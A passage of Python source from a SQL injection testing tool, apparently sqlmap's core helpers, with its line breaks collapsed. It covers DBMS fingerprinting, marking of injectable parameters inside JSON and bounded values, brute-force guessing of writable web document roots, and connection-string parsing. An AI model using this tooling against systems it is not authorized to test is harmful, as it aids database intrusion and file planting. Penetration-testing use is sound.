fp): """ Write an .ini-format representation of the configuration state. """ if self._defaults: fp.write("[%s]\n" % DEFAULTSECT) for (key, value) in self._defaults.items(): fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t'))) fp.write("\n") for section in self._sections: fp.write("[%s]\n" % section) for (key, value) in self._sections[section].items(): if key != "__name__": if value is None: fp.write("%s\n" % (key)) else: fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t'))) fp.write("\n") class Format(object): @staticmethod def humanize(values, chain=" or "): return chain.join(values) # Get methods @staticmethod def getDbms(versions=None): """ Format the back-end DBMS fingerprint value and return its values formatted as a human readable string. @return: detected back-end DBMS based upon fingerprint techniques. @rtype: C{str} """ if versions is None and Backend.getVersionList(): versions = Backend.getVersionList() return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filter(None, versions))) @staticmethod def getErrorParsedDBMSes(): """ Parses the knowledge base htmlFp list and return its values formatted as a human readable string. @return: list of possible back-end DBMS based upon error messages parsing. @rtype: C{str} """ htmlParsed = None if len(kb.htmlFp) == 0 or kb.heuristicTest != HEURISTIC_TEST.POSITIVE: pass elif len(kb.htmlFp) == 1: htmlParsed = kb.htmlFp[0] elif len(kb.htmlFp) > 1: htmlParsed = " or ".join(kb.htmlFp) return htmlParsed @staticmethod def getOs(target, info): """ Formats the back-end operating system fingerprint value and return its values formatted as a human readable string. Example of info (kb.headersFp) dictionary: { 'distrib': set(['Ubuntu']), 'type': set(['Linux']), 'technology': set(['PHP 5.2.6', 'Apache 2.2.9']), 'release': set(['8.10']) } Example of info (kb.bannerFp) dictionary: { 'sp': set(['Service Pack 4']), 'dbmsVersion': '8.00.194', 'dbmsServicePack': '0', 'distrib': set(['2000']), 'dbmsRelease': '2000', 'type': set(['Windows']) } @return: detected back-end operating system based upon fingerprint techniques. @rtype: C{str} """ infoStr = "" infoApi = {} if info and "type" in info: if conf.api: infoApi["%s operating system" % target] = info else: infoStr += "%s operating system: %s" % (target, Format.humanize(info["type"])) if "distrib" in info: infoStr += " %s" % Format.humanize(info["distrib"]) if "release" in info: infoStr += " %s" % Format.humanize(info["release"]) if "sp" in info: infoStr += " %s" % Format.humanize(info["sp"]) if "codename" in info: infoStr += " (%s)" % Format.humanize(info["codename"]) if "technology" in info: if conf.api: infoApi["web application technology"] = Format.humanize(info["technology"], ", ") else: infoStr += "\nweb application technology: %s" % Format.humanize(info["technology"], ", ") if conf.api: return infoApi else: return infoStr.lstrip() class Backend: # Set methods @staticmethod def setDbms(dbms): dbms = aliasToDbmsEnum(dbms) if dbms is None: return None # Little precaution, in theory this condition should always be false elif kb.dbms is not None and kb.dbms != dbms: warnMsg = "there appears to be a high probability that " warnMsg += "this could be a false positive case" logger.warn(warnMsg) msg = "sqlmap previously fingerprinted back-end DBMS as " msg += "%s. However now it has been fingerprinted " % kb.dbms msg += "as %s. " % dbms msg += "Please, specify which DBMS should be " msg += "correct [%s (default)/%s] " % (kb.dbms, dbms) while True: choice = readInput(msg, default=kb.dbms) if aliasToDbmsEnum(choice) == kb.dbms: kb.dbmsVersion = [] kb.resolutionDbms = kb.dbms break elif aliasToDbmsEnum(choice) == dbms: kb.dbms = aliasToDbmsEnum(choice) break else: warnMsg = "invalid value" logger.warn(warnMsg) elif kb.dbms is None: kb.dbms = aliasToDbmsEnum(dbms) return kb.dbms @staticmethod def setVersion(version): if isinstance(version, basestring): kb.dbmsVersion = [version] return kb.dbmsVersion @staticmethod def setVersionList(versionsList): if isinstance(versionsList, list): kb.dbmsVersion = versionsList elif isinstance(versionsList, basestring): Backend.setVersion(versionsList) else: logger.error("invalid format of versionsList") @staticmethod def forceDbms(dbms, sticky=False): if not kb.stickyDBMS: kb.forcedDbms = aliasToDbmsEnum(dbms) kb.stickyDBMS = sticky @staticmethod def flushForcedDbms(force=False): if not kb.stickyDBMS or force: kb.forcedDbms = None kb.stickyDBMS = False @staticmethod def setOs(os): if os is None: return None # Little precaution, in theory this condition should always be false elif kb.os is not None and isinstance(os, basestring) and kb.os.lower() != os.lower(): msg = "sqlmap previously fingerprinted back-end DBMS " msg += "operating system %s. However now it has " % kb.os msg += "been fingerprinted to be %s. " % os msg += "Please, specify which OS is " msg += "correct [%s (default)/%s] " % (kb.os, os) while True: choice = readInput(msg, default=kb.os) if choice == kb.os: break elif choice == os: kb.os = choice.capitalize() break else: warnMsg = "invalid value" logger.warn(warnMsg) elif kb.os is None and isinstance(os, basestring): kb.os = os.capitalize() return kb.os @staticmethod def setOsVersion(version): if version is None: return None elif kb.osVersion is None and isinstance(version, basestring): kb.osVersion = version @staticmethod def setOsServicePack(sp): if sp is None: return None elif kb.osSP is None and isinstance(sp, int): kb.osSP = sp @staticmethod def setArch(): msg = "what is the back-end database management system architecture?" msg += "\n[1] 32-bit (default)" msg += "\n[2] 64-bit" while True: choice = readInput(msg, default='1') if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2): kb.arch = 32 if int(choice) == 1 else 64 break else: warnMsg = "invalid value. Valid values are 1 and 2" logger.warn(warnMsg) return kb.arch # Get methods @staticmethod def getForcedDbms(): return aliasToDbmsEnum(conf.get("forceDbms")) or aliasToDbmsEnum(kb.get("forcedDbms")) @staticmethod def getDbms(): return aliasToDbmsEnum(kb.get("dbms")) @staticmethod def getErrorParsedDBMSes(): """ Returns array with parsed DBMS names till now This functions is called to: 1. Ask user whether or not skip specific DBMS tests in detection phase, lib/controller/checks.py - detection phase. 2. Sort the fingerprint of the DBMS, lib/controller/handler.py - fingerprint phase. """ return kb.htmlFp if kb.get("heuristicTest") == HEURISTIC_TEST.POSITIVE else [] @staticmethod def getIdentifiedDbms(): """ This functions is called to: 1. Sort the tests, getSortedInjectionTests() - detection phase. 2. Etc. """ dbms = None if not kb: pass elif not kb.get("testMode") and conf.get("dbmsHandler") and getattr(conf.dbmsHandler, "_dbms", None): dbms = conf.dbmsHandler._dbms elif Backend.getForcedDbms() is not None: dbms = Backend.getForcedDbms() elif Backend.getDbms() is not None: dbms = Backend.getDbms() elif kb.get("injection") and kb.injection.dbms: dbms = unArrayizeValue(kb.injection.dbms) elif Backend.getErrorParsedDBMSes(): dbms = unArrayizeValue(Backend.getErrorParsedDBMSes()) elif conf.get("dbms"): dbms = conf.get("dbms") return aliasToDbmsEnum(dbms) @staticmethod def getVersion(): versions = filter(None, flattenValue(kb.dbmsVersion)) if not isNoneValue(versions): return versions[0] else: return None @staticmethod def getVersionList(): versions = filter(None, flattenValue(kb.dbmsVersion)) if not isNoneValue(versions): return versions else: return None @staticmethod def getOs(): return kb.os @staticmethod def getOsVersion(): return kb.osVersion @staticmethod def getOsServicePack(): return kb.osSP @staticmethod def getArch(): if kb.arch is None: Backend.setArch() return kb.arch # Comparison methods @staticmethod def isDbms(dbms): if not kb.get("testMode") and all((Backend.getDbms(), Backend.getIdentifiedDbms())) and Backend.getDbms() != Backend.getIdentifiedDbms(): singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms())) return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms) @staticmethod def isDbmsWithin(aliases): return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases @staticmethod def isVersion(version): return Backend.getVersion() is not None and Backend.getVersion() == version @staticmethod def isVersionWithin(versionList): if Backend.getVersionList() is None: return False for _ in Backend.getVersionList(): if _ != UNKNOWN_DBMS_VERSION and _ in versionList: return True return False @staticmethod def isVersionGreaterOrEqualThan(version): return Backend.getVersion() is not None and str(Backend.getVersion()) >= str(version) @staticmethod def isOs(os): return Backend.getOs() is not None and Backend.getOs().lower() == os.lower() def paramToDict(place, parameters=None): """ Split the parameters into names and values, check if these parameters are within the testable parameters and return in a dictionary. """ testableParameters = OrderedDict() if place in conf.parameters and not parameters: parameters = conf.parameters[place] parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) if place == PLACE.COOKIE: splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) else: splitParams = parameters.split(conf.paramDel or DEFAULT_GET_POST_DELIMITER) for element in splitParams: element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element) parts = element.split("=") if len(parts) >= 2: parameter = urldecode(parts[0].replace(" ", "")) if not parameter: continue if conf.paramDel and conf.paramDel == '\n': parts[-1] = parts[-1].rstrip() condition = not conf.testParameter condition |= conf.testParameter is not None and parameter in conf.testParameter condition |= place == PLACE.COOKIE and len(intersect((PLACE.COOKIE,), conf.testParameter, True)) > 0 if condition: testableParameters[parameter] = "=".join(parts[1:]) if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): _ = urldecode(testableParameters[parameter], convall=True) if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): warnMsg = "it appears that you have provided tainted parameter values " warnMsg += "('%s') with most likely leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " warnMsg += "Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] " if not readInput(message, default='N', boolean=True): raise SqlmapSilentQuitException elif not _: warnMsg = "provided value for parameter '%s' is empty. " % parameter warnMsg += "Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) if place in (PLACE.POST, PLACE.GET): for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"): match = re.search(regex, testableParameters[parameter]) if match: try: candidates = OrderedDict() def walk(head, current=None): if current is None: current = head if isListLike(current): for _ in current: walk(head, _) elif isinstance(current, dict): for key in current.keys(): value = current[key] if isinstance(value, (list, tuple, set, dict)): if value: walk(head, value) elif isinstance(value, (bool, int, float, basestring)): original = current[key] if isinstance(value, bool): current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) else: current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters) current[key] = original deserialized = json.loads(testableParameters[parameter]) walk(deserialized) if candidates: message = "it appears that provided value for %s parameter '%s' " % (place, parameter) message += "is JSON deserializable. Do you want to inject inside? [y/N] " if readInput(message, default='N', boolean=True): del testableParameters[parameter] testableParameters.update(candidates) break except (KeyboardInterrupt, SqlmapUserQuitException): raise except Exception: pass _ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), testableParameters[parameter]) message = "it appears that provided value for %s parameter '%s' " % (place, parameter) message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_) if readInput(message, default='N', boolean=True): testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])).replace("\\", r"\\"), parameters) break if conf.testParameter: if not testableParameters: paramStr = ", ".join(test for test in conf.testParameter) if len(conf.testParameter) > 1: warnMsg = "provided parameters '%s' " % paramStr warnMsg += "are not inside the %s" % place logger.warn(warnMsg) else: parameter = conf.testParameter[0] if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True): debugMsg = "provided parameter '%s' " % paramStr debugMsg += "is not inside the %s" % place logger.debug(debugMsg) elif len(conf.testParameter) != len(testableParameters.keys()): for parameter in conf.testParameter: if parameter not in testableParameters: debugMsg = "provided parameter '%s' " % parameter debugMsg += "is not inside the %s" % place logger.debug(debugMsg) if testableParameters: for parameter, value in testableParameters.items(): if value and not value.isdigit(): for encoding in ("hex", "base64"): try: decoded = value.decode(encoding) if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in string.printable for _ in decoded): warnMsg = "provided parameter '%s' " % parameter warnMsg += "appears to be '%s' encoded" % encoding logger.warn(warnMsg) break except: pass return testableParameters def getManualDirectories(): directories = None defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]) if kb.absFilePaths: for absFilePath in kb.absFilePaths: if directories: break if directoryPath(absFilePath) == '/': continue absFilePath = normalizePath(absFilePath) windowsDriveLetter = None if isWindowsDriveLetterPath(absFilePath): windowsDriveLetter, absFilePath = absFilePath[:2], absFilePath[2:] absFilePath = ntToPosixSlashes(posixToNtSlashes(absFilePath)) for _ in list(GENERIC_DOC_ROOT_DIRECTORY_NAMES) + [conf.hostname]: _ = "/%s/" % _ if _ in absFilePath: directories = "%s%s" % (absFilePath.split(_)[0], _) break if not directories and conf.path.strip('/') and conf.path in absFilePath: directories = absFilePath.split(conf.path)[0] if directories and windowsDriveLetter: directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories)) directories = normalizePath(directories) if conf.webRoot: directories = [conf.webRoot] infoMsg = "using '%s' as web server document root" % conf.webRoot logger.info(infoMsg) elif directories: infoMsg = "retrieved the web server document root: '%s'" % directories logger.info(infoMsg) else: warnMsg = "unable to automatically retrieve the web server " warnMsg += "document root" logger.warn(warnMsg) directories = [] message = "what do you want to use for writable directory?\n" message += "[1] common location(s) ('%s') (default)\n" % ", ".join(root for root in defaultDocRoot) message += "[2] custom location(s)\n" message += "[3] custom directory list file\n" message += "[4] brute force search" choice = readInput(message, default='1') if choice == '2': message = "please provide a comma separate list of absolute directory paths: " directories = readInput(message, default="").split(',') elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message, default="") checkFile(listPath) directories = getFileItems(listPath) elif choice == '4': targets = set([conf.hostname]) _ = conf.hostname.split('.') if _[0] == "www": targets.add('.'.join(_[1:])) targets.add('.'.join(_[1:-1])) else: targets.add('.'.join(_[:-1])) targets = filter(None, targets) for prefix in BRUTE_DOC_ROOT_PREFIXES.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]): if BRUTE_DOC_ROOT_TARGET_MARK in prefix and re.match(IP_ADDRESS_REGEX, conf.hostname): continue for suffix in BRUTE_DOC_ROOT_SUFFIXES: for target in targets: if not prefix.endswith("/%s" % suffix): item = "%s/%s" % (prefix, suffix) else: item = prefix item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/') if item not in directories: directories.append(item) if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: break infoMsg = "using generated directory list: %s" % ','.join(directories) logger.info(infoMsg) msg = "use any additional custom directories [Enter for None]: " answer = readInput(msg) if answer: directories.extend(answer.split(',')) else: directories = defaultDocRoot return directories def getAutoDirectories(): retVal = set() if kb.absFilePaths: infoMsg = "retrieved web server absolute paths: " infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths) logger.info(infoMsg) for absFilePath in kb.absFilePaths: if absFilePath: directory = directoryPath(absFilePath) directory = ntToPosixSlashes(directory) retVal.add(directory) else: warnMsg = "unable to automatically parse any web server path" logger.warn(warnMsg) return list(retVal) def filePathToSafeString(filePath): """ Returns string representation of a given filepath safe for a single filename usage >>> filePathToSafeString('C:/Windows/system32') 'C__Windows_system32' """ retVal = filePath.replace("/", "_").replace("\\", "_") retVal = retVal.replace(" ", "_").replace(":", "_") return retVal def singleTimeDebugMessage(message): singleTimeLogMessage(message, logging.DEBUG) def singleTimeWarnMessage(message): singleTimeLogMessage(message, logging.WARN) def singleTimeLogMessage(message, level=logging.INFO, flag=None): if flag is None: flag = hash(message) if not conf.smokeTest and flag not in kb.singleLogFlags: kb.singleLogFlags.add(flag) logger.log(level, message) def boldifyMessage(message): retVal = message if any(_ in message for _ in BOLD_PATTERNS): retVal = setColor(message, True) return retVal def setColor(message, bold=False): retVal = message level = extractRegexResult(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel") if isinstance(level, unicode): level = unicodeencode(level) if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler if bold: retVal = colored(message, color=None, on_color=None, attrs=("bold",)) elif level: level = getattr(logging, level, None) if isinstance(level, basestring) else level _ = LOGGER_HANDLER.level_map.get(level) if _: background, foreground, bold = _ retVal = colored(message, color=foreground, on_color="on_%s" % background if background else None, attrs=("bold",) if bold else None) kb.stickyLevel = level if message and message[-1] != "\n" else None return retVal def clearColors(message): """ Clears ANSI color codes >>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld") 'Hello World' """ retVal = message if message: retVal = re.sub(r"\x1b\[[\d;]+m", "", message) return retVal def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS): """ Writes text to the stdout (console) stream """ message = "" if not kb.get("threadException"): if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")): if kb.get("multiThreadMode"): logging._acquireLock() if isinstance(data, unicode): message = stdoutencode(data) else: message = data try: if conf.get("api"): sys.stdout.write(message, status, content_type) else: sys.stdout.write(setColor(message, bold)) sys.stdout.flush() except IOError: pass if kb.get("multiThreadMode"): logging._releaseLock() kb.prependFlag = isinstance(data, basestring) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n') def dataToTrafficFile(data): if not conf.trafficFile: return try: conf.trafficFP.write(data) conf.trafficFP.flush() except IOError, ex: errMsg = "something went wrong while trying " errMsg += "to write to the traffic file '%s' ('%s')" % (conf.trafficFile, getSafeExString(ex)) raise SqlmapSystemException(errMsg) def dataToDumpFile(dumpFile, data): try: dumpFile.write(data) dumpFile.flush() except IOError, ex: if "No space left" in getUnicode(ex): errMsg = "no space left on output device" logger.error(errMsg) elif "Permission denied" in getUnicode(ex): errMsg = "permission denied when flushing dump data" logger.error(errMsg) else: raise def dataToOutFile(filename, data): retVal = None if data: while True: retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) try: with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data f.write(unicodeencode(data)) except UnicodeEncodeError, ex: _ = normalizeUnicode(filename) if filename != _: filename = _ else: errMsg = "couldn't write to the " errMsg += "output file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) except IOError, ex: errMsg = "something went wrong while trying to write " errMsg += "to the output file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) else: break return retVal def readInput(message, default=None, checkBatch=True, boolean=False): """ Reads input from terminal """ retVal = None kb.stickyLevel = None message = getUnicode(message) if "\n" in message: message += "%s> " % ("\n" if message.count("\n") > 1 else "") elif message[-1] == ']': message += " " if kb.get("prependFlag"): message = "\n%s" % message kb.prependFlag = False if conf.get("answers"): for item in conf.answers.split(','): question = item.split('=')[0].strip() answer = item.split('=')[1] if len(item.split('=')) > 1 else None if answer and question.lower() in message.lower(): retVal = getUnicode(answer, UNICODE_ENCODING) elif answer is None and retVal: retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING)) if retVal: dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True) debugMsg = "used the given answer" logger.debug(debugMsg) if retVal is None: if checkBatch and conf.get("batch"): if isListLike(default): options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default) elif default: options = getUnicode(default, UNICODE_ENCODING) else: options = unicode() dataToStdout("\r%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True) debugMsg = "used the default behavior, running in batch mode" logger.debug(debugMsg) retVal = default else: try: logging._acquireLock() if conf.get("beep"): beep() dataToStdout("\r%s" % message, forceOutput=not kb.wizardMode, bold=True) kb.prependFlag = False retVal = raw_input().strip() or default retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal except: try: time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893 except: pass finally: kb.prependFlag = True raise SqlmapUserQuitException finally: logging._releaseLock() if retVal and default and isinstance(default, basestring) and len(default) == 1: retVal = retVal.strip() if boolean: retVal = retVal.strip().upper() == 'Y' return retVal or "" def randomRange(start=0, stop=1000, seed=None): """ Returns random integer value in given range >>> random.seed(0) >>> randomRange(1, 500) 423 """ if seed is not None: _ = getCurrentThreadData().random _.seed(seed) randint = _.randint else: randint = random.randint return int(randint(start, stop)) def randomInt(length=4, seed=None): """ Returns random integer value with provided number of digits >>> random.seed(0) >>> randomInt(6) 874254 """ if seed is not None: _ = getCurrentThreadData().random _.seed(seed) choice = _.choice else: choice = random.choice return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length))) def randomStr(length=4, lowercase=False, alphabet=None, seed=None): """ Returns random string value with provided number of characters >>> random.seed(0) >>> randomStr(6) 'RNvnAv' """ if seed is not None: _ = getCurrentThreadData().random _.seed(seed) choice = _.choice else: choice = random.choice if alphabet: retVal = "".join(choice(alphabet) for _ in xrange(0, length)) elif lowercase: retVal = "".join(choice(string.ascii_lowercase) for _ in xrange(0, length)) else: retVal = "".join(choice(string.ascii_letters) for _ in xrange(0, length)) return retVal def sanitizeStr(value): """ Sanitizes string value in respect to newline and line-feed characters >>> sanitizeStr('foo\\n\\rbar') u'foo bar' """ return getUnicode(value).replace("\n", " ").replace("\r", "") def getHeader(headers, key): """ Returns header value ignoring the letter case >>> getHeader({"Foo": "bar"}, "foo") 'bar' """ retVal = None for _ in (headers or {}): if _.upper() == key.upper(): retVal = headers[_] break return retVal def checkFile(filename, raiseOnError=True): """ Checks for file existence and readability """ valid = True if filename: filename = filename.strip('"\'') try: if filename is None or not os.path.isfile(filename): valid = False except UnicodeError: valid = False if valid: try: with open(filename, "rb"): pass except: valid = False if not valid and raiseOnError: raise SqlmapSystemException("unable to read file '%s'" % filename) return valid def banner(): """ This function prints sqlmap banner with its version """ if not any(_ in sys.argv for _ in ("--version", "--api")): _ = BANNER if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv: _ = clearColors(_) elif IS_WIN: coloramainit() dataToStdout(_, forceOutput=True) def parsePasswordHash(password): """ In case of Microsoft SQL Server password hash value is expanded to its components """ blank = " " * 8 if not password or password == " ": password = NULL if Backend.isDbms(DBMS.MSSQL) and password != NULL and isHexEncodedString(password): hexPassword = password password = "%s\n" % hexPassword password += "%sheader: %s\n" % (blank, hexPassword[:6]) password += "%ssalt: %s\n" % (blank, hexPassword[6:14]) password += "%smixedcase: %s\n" % (blank, hexPassword[14:54]) if not Backend.isVersionWithin(("2005", "2008")): password += "%suppercase: %s" % (blank, hexPassword[54:]) return password def cleanQuery(query): """ Switch all SQL statement (alike) keywords to upper case >>> cleanQuery("select id from users") 'SELECT id FROM users' """ retVal = query for sqlStatements in SQL_STATEMENTS.values(): for sqlStatement in sqlStatements: candidate = sqlStatement.replace("(", "").replace(")", "").strip() queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query) if queryMatch and "sys_exec" not in query: retVal = retVal.replace(queryMatch.group(1), candidate.upper()) return retVal def setPaths(rootPath): """ Sets absolute paths for project directories and files """ paths.SQLMAP_ROOT_PATH = rootPath # sqlmap paths paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra") paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "procs") paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell") paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper") paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf") paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt") paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf") paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") _ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap") paths.SQLMAP_HOME_PATH = _ paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # sqlmap files paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst") paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst") paths.GITHUB_HISTORY = os.path.join(_, "github.hst") paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml") paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml") paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") for path in paths.values(): if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")): checkFile(path) def weAreFrozen(): """ Returns whether we are frozen via py2exe. This will affect how we find out where we are located. Reference: http://www.py2exe.org/index.cgi/WhereAmI """ return hasattr(sys, "frozen") def parseTargetDirect(): """ Parse target dbms and set some attributes into the configuration singleton. """ if not conf.direct: return conf.direct = conf.direct.encode(UNICODE_ENCODING) # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters details = None remote = False for dbms in SUPPORTED_DBMS: details = re.search("^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I) if details: conf.dbms = details.group("dbms") if details.group('credentials'): conf.dbmsUser = details.group("user") conf.dbmsPass = details.group("pass") else: if conf.dbmsCred: conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':') else: conf.dbmsUser = "" conf.dbmsPass = "" if not conf.dbmsPass: conf.dbmsPass = None if details.group("remote"): remote = True conf.hostname = details.group("hostname").strip() conf.port = int(details.group("port")) else: conf.hostname = "localhost" conf.port = 0 conf.dbmsDb = details.group("db") conf.parameters[None] = "direct connection" break if not details: errMsg = "invalid target details, valid syntax is for instance " errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " errMsg += "or 'access://DATABASE_FILEPATH'" raise SqlmapSyntaxException(errMsg) for dbmsName, data in DBMS_DICT.items(): if dbmsName == conf.dbms or conf.dbms.lower() in data[0]: try: if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD): if remote: warnMsg = "direct connection over the network for " warnMsg += "%s DBMS is not supported" % dbmsName logger.warn(warnMsg) conf.hostname = "localhost" conf.port = 0 elif not remote: errMsg = "missing remote connection details (e.g. " errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " errMsg += "or 'access://DATABASE_FILEPATH')" raise SqlmapSyntaxException(errMsg) if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): __import__("_mssql") import pymssql if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": errMsg = "'%s' third-party library must be " % data[1] errMsg += "version >= 1.0.2 to work properly. " errMsg += "Download from '%s'" % data[2] raise SqlmapMissingDependence(errMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") elif dbmsName == DBMS.PGSQL: __import__("psycopg2") elif dbmsName == DBMS.ORACLE: __import__("cx_Oracle") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: __import__("kinterbasdb") except: if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__: pass else: errMsg = "sqlmap requires '%s' third-party library " % data[1] errMsg += "in order to directly connect to the 